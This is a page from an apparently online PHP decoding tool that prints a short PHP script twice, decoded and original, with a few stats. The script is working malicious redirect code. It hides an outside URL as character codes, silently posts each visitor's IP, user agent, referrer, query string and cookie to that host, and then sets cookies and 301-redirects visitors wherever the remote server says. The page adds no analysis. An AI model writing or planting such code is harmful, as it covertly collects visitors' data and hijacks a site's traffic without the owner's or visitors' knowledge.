Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php date_default_timezone_set("UTC"); error_reporting(0); header("Cache-Control: no-st..

Decoded Output download

<?php date_default_timezone_set("UTC"); 
error_reporting(0); 
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); 
if (!(isset($_SERVER["HTTP_X_PURPOSE"]) and $_SERVER["HTTP_X_PURPOSE"] == "preview")) 
{ 
    $date = date("Y-m-d H:i:s"); 
    $id = "473017"; 
    $uid = "perg1jc15itph5irtdn1ea2cc"; 
    $qu = $_SERVER["QUERY_STRING"]; 
    $ch = curl_init(); 
    $d = array( 
        104, 
        116, 
        116, 
        112, 
        115, 
        58, 
        47, 
        47, 
        106, 
        99, 
        105, 
        98, 
        106, 
        46, 
        99, 
        111, 
        109, 
        47, 
        112, 
        99, 
        108, 
        46, 
        112, 
        104, 
        112 
    ); 
    $u = ""; 
    foreach ($d as $v) 
    { 
        $u .= chr($v); 
    } 
    $data = array( 
        "date" => $date, 
        "lan" => $_SERVER["HTTP_ACCEPT_LANGUAGE"], 
        "ref" => $_SERVER["HTTP_REFERER"], 
        "ip" => $_SERVER["REMOTE_ADDR"], 
        "ipr" => $_SERVER["HTTP_X_FORWARDED_FOR"], 
        "sn" => $_SERVER["SERVER_NAME"], 
        "requestUri" => $_SERVER["REQUEST_URI"], 
        "query" => $qu, 
        "ua" => $_SERVER["HTTP_USER_AGENT"], 
        "co" => $_COOKIE["_event"], 
        "user_id" => $uid, 
        "id" => $id 
    ); 
    curl_setopt($ch, CURLOPT_URL, $u); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
    curl_setopt($ch, CURLOPT_POST, true); 
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data); 
    $result = curl_exec($ch); 
    curl_close($ch); 
    $arr = explode(",", $result); 
    if (!empty($qu)) 
    { 
        if (strpos($arr[1], "?")) 
        { 
            $q = "&" . $qu; 
        } 
        else 
        { 
            $q = "?" . $qu; 
        } 
    } 
    else 
    { 
        $q = ""; 
    } 
    if ($arr[0] === "true") 
    { 
        if (strstr($arr[1], "sp.php")) 
        { 
            $q = "?" . $qu; 
        } 
        if (!empty($arr[7])) 
        { 
            setcookie($arr[7], $arr[8], time() + 60 * 60 * 24 * $arr[9], "/"); 
        } 
        if ($arr[2]) 
        { 
            if ($arr[4] == 1 or $arr[4] == 3) 
            { 
                setcookie("_event", $arr[6], time() + 60 * 60 * 24 * $arr[3]); 
            } 
        } 
        header("location: " . $arr[1] . $q, true, 301); 
    } 
    elseif ($arr[0] === "false") 
    { 
        if ($arr[5]) 
        { 
            $f = $q; 
        } 
        else 
        { 
            $f = ""; 
        } 
        if ($arr[2]) 
        { 
            if ($arr[4] == 2 or $arr[4] == 3) 
            { 
                setcookie("_event", $arr[6] . "b", time() + 60 * 60 * 24 * $arr[3]); 
            } 
        } 
        header("location: " . $arr[1] . $f, true, 301); 
    } 
    else 
    { 
        if ($arr[2]) 
        { 
            if ($arr[4] == 2 or $arr[4] == 3) 
            { 
                setcookie("_event", $arr[6] . "b", time() + 60 * 60 * 24 * $arr[3]); 
            } 
        } 
    } 
} ?> 

Did this file decode correctly?

Original Code

<?php date_default_timezone_set("UTC");
error_reporting(0);
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
if (!(isset($_SERVER["HTTP_X_PURPOSE"]) and $_SERVER["HTTP_X_PURPOSE"] == "preview"))
{
    $date = date("Y-m-d H:i:s");
    $id = "473017";
    $uid = "perg1jc15itph5irtdn1ea2cc";
    $qu = $_SERVER["QUERY_STRING"];
    $ch = curl_init();
    $d = array(
        104,
        116,
        116,
        112,
        115,
        58,
        47,
        47,
        106,
        99,
        105,
        98,
        106,
        46,
        99,
        111,
        109,
        47,
        112,
        99,
        108,
        46,
        112,
        104,
        112
    );
    $u = "";
    foreach ($d as $v)
    {
        $u .= chr($v);
    }
    $data = array(
        "date" => $date,
        "lan" => $_SERVER["HTTP_ACCEPT_LANGUAGE"],
        "ref" => $_SERVER["HTTP_REFERER"],
        "ip" => $_SERVER["REMOTE_ADDR"],
        "ipr" => $_SERVER["HTTP_X_FORWARDED_FOR"],
        "sn" => $_SERVER["SERVER_NAME"],
        "requestUri" => $_SERVER["REQUEST_URI"],
        "query" => $qu,
        "ua" => $_SERVER["HTTP_USER_AGENT"],
        "co" => $_COOKIE["_event"],
        "user_id" => $uid,
        "id" => $id
    );
    curl_setopt($ch, CURLOPT_URL, $u);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    $result = curl_exec($ch);
    curl_close($ch);
    $arr = explode(",", $result);
    if (!empty($qu))
    {
        if (strpos($arr[1], "?"))
        {
            $q = "&" . $qu;
        }
        else
        {
            $q = "?" . $qu;
        }
    }
    else
    {
        $q = "";
    }
    if ($arr[0] === "true")
    {
        if (strstr($arr[1], "sp.php"))
        {
            $q = "?" . $qu;
        }
        if (!empty($arr[7]))
        {
            setcookie($arr[7], $arr[8], time() + 60 * 60 * 24 * $arr[9], "/");
        }
        if ($arr[2])
        {
            if ($arr[4] == 1 or $arr[4] == 3)
            {
                setcookie("_event", $arr[6], time() + 60 * 60 * 24 * $arr[3]);
            }
        }
        header("location: " . $arr[1] . $q, true, 301);
    }
    elseif ($arr[0] === "false")
    {
        if ($arr[5])
        {
            $f = $q;
        }
        else
        {
            $f = "";
        }
        if ($arr[2])
        {
            if ($arr[4] == 2 or $arr[4] == 3)
            {
                setcookie("_event", $arr[6] . "b", time() + 60 * 60 * 24 * $arr[3]);
            }
        }
        header("location: " . $arr[1] . $f, true, 301);
    }
    else
    {
        if ($arr[2])
        {
            if ($arr[4] == 2 or $arr[4] == 3)
            {
                setcookie("_event", $arr[6] . "b", time() + 60 * 60 * 24 * $arr[3]);
            }
        }
    }
} ?>

Function Calls

date_default_timezone_set 1

Variables

None

Stats

MD5 7b90cdf22ba29b2434dd04066ea36888
Eval Count 0
Decode Time 50 ms